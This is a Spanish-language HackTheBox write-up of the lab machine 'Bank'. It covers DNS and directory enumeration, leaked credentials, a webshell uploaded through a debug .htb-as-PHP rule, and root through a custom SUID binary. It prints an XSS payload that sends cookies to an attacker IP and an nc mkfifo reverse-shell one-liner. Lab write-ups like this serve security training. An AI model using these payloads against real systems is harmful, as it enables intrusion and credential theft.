↓ Ir al contenido
  1. Writeups/

HackTheBox - Bank

·7 mins
Tabla de contenido
  • Dificultad: easy
  • Tiempo aprox.: 2.5h
  • Datos Iniciales: 10.129.29.200

Enumeración inicial
#

Empezamos con un escaneo de puertos, que muestra lo siguiente:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# ----> TCP
$ nmap -sT -Pn -p- --open 10.129.29.200 # Muestra 22,53,80
$ nmap -sT -Pn -p22,53,80 -sVC 10.129.29.200
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

# ----> UDP
$ sudo nmap -sU -Pn --top-ports=200 10.129.29.200 --open # Encuentra el 53
$ sudo nmap -sU -Pn -p53 -sVC 10.129.29.200 --open
PORT   STATE SERVICE VERSION
53/udp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
  • 22/tcp (OpenSSH 6.6.1p1): Algunas vulnerabilidades, de momento no demasiado relevantes.
  • 53/tcp,udp (ISC BIND 9.9.5-3ubuntu0.14): Servidor DNS, quizás puede darnos algún dominio/subdominio.
  • 80/tcp (Apache httpd 2.4.7): Servidor web con lo que parece la página por defecto de Apache. Habrá que entrar para ver más.

Servicio DNS
#

Tras mirar por encima los puertos, vamos a ver si el servicio DNS nos revela algún subdominio mediante lookups inversos (IP->Dominio).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ nslookup
# Usamos la máquina como Nameserver
> server 10.129.29.200
Default server: 10.129.29.200
Address: 10.129.29.200#53

# Le preguntamos con qué nombres de dominio reconoce su propia IP
> 10.129.29.200
** server cant find 200.29.129.10.in-addr.arpa: NXDOMAIN # La respuesta es con ninguno

# Le preguntamos con qué nombres de dominio reconoce su dir. loopback
> 127.0.0.1
1.0.0.127.in-addr.arpa	name = localhost. # Solo con localhost

# Le preguntamos por su dir. loopback en IPv6
> ::1 # No dice nada

# Probamos a la inversa con los dominios normalmente usados en HTB: [Nombre].htb
# En este caso bank.htb
> bank.htb
Server:		10.129.29.200
Address:	10.129.29.200#53

Name:	bank.htb
Address: 10.129.29.200
# Vemos que efectivamente existe

# Probamos con localhost
> localhost
Server:		10.129.29.200
Address:	10.129.29.200#53
Name:	localhost
Address: 127.0.0.1
Name:	localhost
Address: ::1
# Esto tampoco nos dice nada

Hemos descubierto (o más bien deducido) el dominio bank.htb, ahora podemos probar a sacar más información del mismo solicitándolo al servicio DNS de nuevo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Solicitamos todos los registros referentes a bank.htb al server DNS de 10.129.29.200
$ dig @10.129.29.200 any bank.htb

...[SNIP]...

;; ANSWER SECTION:
bank.htb.		604800	IN	SOA	bank.htb. chris.bank.htb. 6 604800 86400 2419200 604800
bank.htb.		604800	IN	NS	ns.bank.htb.
bank.htb.		604800	IN	A	10.129.29.200

;; ADDITIONAL SECTION:
ns.bank.htb.		604800	IN	A	10.129.29.200

Y hemos descubierto chris.bank.htb y ns.bank.htb. Los añadimos a /etc/hosts.

HTTP, Puerto 80
#

Subdominios
#

Si entramos a http://10.129.29.200, http://chris.bank.htb y http://ns.bank.htb encontraremos exactamente lo mismo, la página por defecto de Apache2 en Ubuntu:

Y si enumeramos directorios y archivos en cualquiera de esas páginas (que son la misma), no encontraremos ni un solo archivo. Por tanto solo nos queda un dominio, bank.htb.

Bank.htb
#

Si entramos a http://bank.htb seremos redirigidos a /login.php, la siguiente página:

Se nos pide un email y una contraseña. Aunque no conocemos usuarios, recordemos que hemos visto un subdominio chris, así que no sería raro que el email a usar fuese chris@bank.htb.

Antes de hacer fuerza bruta con la contraseña, vamos a buscar archivos y directorios. Pasado un rato encontramos esto:

1
2
3
4
5
6
7
8
9
$ gobuster dir -u http://bank.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
uploads              (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
assets               (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
inc                  (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
server-status        (Status: 403) [Size: 288]
balance-transfer     (Status: 301) [Size: 314] [--> http://bank.htb/balance-transfer/]

Si vamos a cualquiera de los directorios no encontraremos nada útil, salvo en balance-transfer, que contiene lo siguiente:

A primera vista, todos los archivos .acc son prácticamente iguales:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
++OK ENCRYPT SUCCESS
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: qHMZdvqNTZrw5rwqdD1YPV0V3HbbK4bbMYaZtBNnAeTFGq6U38SS3TO6B0il5uxRsHQViEjSSdyyDFsHNlAQfpXQpfcuKJmcqd8JRsCJFaijPL0D7Btm0rcpGoUr8hEz
Email: uMileU5U5odV9ezgP2CPtPfaeaCmrgVW2eih9nbfMpbVDKcsMPigExrTH3f9jb5mpnDzLPOxfZtSJFlwuDM9ae2Shi1Bt6XTuBsfrgNGfgzZVUvqxizIwBAOTBpnIngc
Password: YIspZf6fvFerzJR72qPy2pnW1MjK9AW8ipyiEEx9kLAUvs1xSR6UhtQiga2qKZy3o7l3MTd6EO0ag2I8TO3aiUtz4wZPvySUFeYr7bxMZyWfAFouusEMm7mrDlg9T94y
CreditCards: 2
Transactions: 6
Balance: 65437 .
===UserAccount===

Archivos con credenciales protegidas mediante un cifrado que no existe. Si probamos a decodificarlas de cualquier forma, no encontraremos nada.

Ahora bien, si nos fijamos, todos los archivos tienen tamaño parecido (581-583 bytes), pero si ordenamos por tamaño de menor a mayor (como en la imagen de arriba), veremos que hay uno específico de 257 bytes.

Si accedemos a este, veremos información bastante interesante:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===

Y tenemos las credenciales chris@bank.htb:!##HTBB4nkP4ssw0rd!##. Lamentablemente, si probamos a iniciar sesión como chris por SSH, veremos que no sirven, pero podemos autenticarnos en su cuenta del banco.

Dashboard
#

Si iniciamos sesión, veremos la siguiente página.

En Dashboard poco podemos hacer, pero Support tiene un formulario interesante que nos permite mandar mensajes a (probablemente) administradores, adjuntando una imagen también. Un posible XSS?

Mandamos este payload junto con una imagen cualquiera:

1
<script>fetch('http://10.10.14.102/?c=' + document.cookie)</script>

Pero desde nuestro servidor web no recibimos nada. De todas formas, lo interesante quizás no sea el mensaje de texto, sino el archivo. Además de balance-transfer habíamos encontrado uploads. No tenemos permiso para ver el contenido, pero quizá sí podamos acceder a cada archivo individual si conocemos su nombre.

Si probamos a subir un archivo, p.ej, tortuga.jpg, veremos esto:

tortuga.jpg se ha subido a uploads con el mismo nombre: uploads/tortuga.jpg. La página nos obliga a subir únicamente imágenes, pero si nos fijamos en el código fuente de la página support.php, veremos lo siguiente:

1
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

Así que ni siquiera hace falta saltarnos restricciones de extensión.

Primero descargamos, p.ej, este webshell

Ahora le cambiamos el nombre para que termine en .htb:

1
$ mv shell.php shell.htb

Lo subimos y vamos a http://bank.htb/uploads/shell.htb. Ahí ya tenemos un shell:

1
www-data@bank:/var/www/bank/uploads$ 

Ejecutamos un reverse shell, y obtenemos un shell más estable.

1
www-data@bank:/var/www/bank/uploads$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.102 4444 >/tmp/f

En el listener:

1
2
3
4
5
6
7
8
9
$ penelope -i 10.10.14.102
[+] Listening for reverse shells on 10.10.14.102:4444 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from bank~10.129.29.200-Linux-i686 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
─────────────────────────────────────────────────────
www-data@bank:/var/www/bank/uploads$

Privesc
#

Ahora que tenemos un shell, echamos un vistazo a las configuraciones de la página, ahí encontramos /var/www/bank/inc/user.php, que contiene esto:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
class User {

	function login($email, $password){
		$mysql = new mysqli("localhost", "root", "!@#S3cur3P4ssw0rd!@#", "htbbank");
		$email = $mysql->real_escape_string($email);
		$password = md5($password);
		$result = $mysql->query("SELECT * FROM users WHERE email = '$email' AND password = '$password'");
		if($result->num_rows <= 0){
			return false;
		}else{
			return true;
		}
	}

	function totalTickets($username){
	  ...

Y tenemos las credenciales de la DB: root:!@#S3cur3P4ssw0rd!@#. Si intentamos iniciar sesión directamente:

1
2
3
www-data@bank:/var/www/bank/inc$ su root
Password: !@#S3cur3P4ssw0rd!@#
su: Authentication failure

MySQL
#

Así que iniciamos en MySQL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
www-data@bank:/var/www/bank/inc$ mysql -u root -p'!@#S3cur3P4ssw0rd!@#'
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 104
Server version: 5.5.55-0ubuntu0.14.04.1 (Ubuntu)

mysql> show databases; # Muestra htbbank
mysql> use htbbank;
mysql> show tables; # Muestra users
mysql> select username,password from users;
+------------------------+----------------------------------+
| username               | password                         |
+------------------------+----------------------------------+
| Christos Christopoulos | b27179713f7bffc48b9ffd2cf9467620 |
+------------------------+----------------------------------+

Solo hay una contraseña, y resulta ser exactamente la misma (en MD5) que la que ya teníamos para chris, aunque si probamos a iniciar sesión con esta, veremos que no funciona. Si probamos a iniciar sesión para root, tampoco sirve ninguna de las contraseñas que tenemos.

SUID Bits
#

Si buscamos binarios con SUID Bit, encontraremos estos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@bank:/home/chris$ find / -perm -4000 -user root 2>/dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/mtr
/usr/sbin/pppd
/bin/ping
/bin/ping6
/bin/su
/bin/fusermount
/bin/mount
/bin/umount

De aquí destaca /var/htb/bin/emergency, que parece ser un binario custom. Vamos a probar a ejecutarlo.

1
2
3
www-data@bank:/var/htb/bin$ ./emergency 
# whoami
root

Vaya, pues no ha costado mucho, ya tenemos root.

Relacionados

HackTheBox - PermX

·6 mins
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de subdominios, Chamilo RCE, File Upload, Reutilización de contraseñas, Escalada de privilegios mediante Symlink y setfacl con sudo

HackTheBox - BoardLight

·7 mins
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de subdominios, Dolibarr RCE, Reutilización de contraseñas, Explotación de binario SUID, CVEs públicos.

HackTheBox - Beep

·13 mins
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de (muchos) servicios y Fingerprinting indirecto de versiones (Epoch y Bundles), Explotación de LFI para RCE, Privesc mediante privilegios Sudo permisivos.